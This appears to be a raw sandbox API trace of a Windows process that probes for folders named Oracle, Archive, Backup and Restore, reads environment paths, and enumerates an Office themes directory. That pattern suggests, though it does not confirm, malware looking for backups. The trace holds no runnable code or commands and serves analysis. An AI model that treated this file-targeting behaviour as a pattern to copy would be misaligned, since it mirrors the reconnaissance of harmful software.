lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@翌R企@\x18?T\x18y")) returned 0xffffffff [0050.353] GetLastError () returned 0x2 [0050.353] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@儔R企@\x18?T\x18\x81")) returned 0xffffffff [0050.355] GetLastError () returned 0x2 [0050.355] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@册U企@\x18?T\x18\x88")) returned 0xffffffff [0050.356] GetLastError () returned 0x2 [0050.356] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@翌R企@\x18?T\x18\x8f")) returned 0xffffffff [0050.358] GetLastError () returned 0x2 [0050.358] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@儔R企@\x18?T\x18\x97")) returned 0xffffffff [0050.359] GetLastError () returned 0x2 [0050.359] GlobalLock (hMem=0x440004) returned 0x550170 [0050.359] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.359] GlobalUnlock (hMem=0x440004) returned 0 [0050.359] GlobalLock (hMem=0x440004) returned 0x550170 [0050.359] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.359] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.359] GlobalUnlock (hMem=0x440004) returned 0 [0050.359] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.359] GlobalUnlock (hMem=0x44000c) returned 0 [0050.359] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0050.359] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0050.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0050.360] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0050.360] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0050.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e10, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0050.360] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.360] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.360] GlobalUnlock (hMem=0x44000c) returned 0 [0050.360] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.360] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.360] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.360] GlobalUnlock (hMem=0x44000c) returned 0 [0050.360] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.360] GlobalUnlock (hMem=0x440004) returned 0 [0050.360] GlobalLock (hMem=0x440004) returned 0x550170 [0050.360] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.360] GlobalUnlock (hMem=0x440004) returned 0 [0050.360] GlobalLock (hMem=0x440004) returned 0x550170 [0050.360] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.360] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.360] GlobalUnlock (hMem=0x440004) returned 0 [0050.360] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.360] GlobalUnlock (hMem=0x44000c) returned 0 [0050.360] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0050.361] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.361] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1 [0050.361] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0050.361] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1 [0050.361] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0050.361] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0050.361] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0050.361] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0050.361] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0050.361] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1 [0050.361] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0050.361] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0050.361] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0050.361] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0050.361] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0050.361] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1 [0050.361] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0050.361] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, 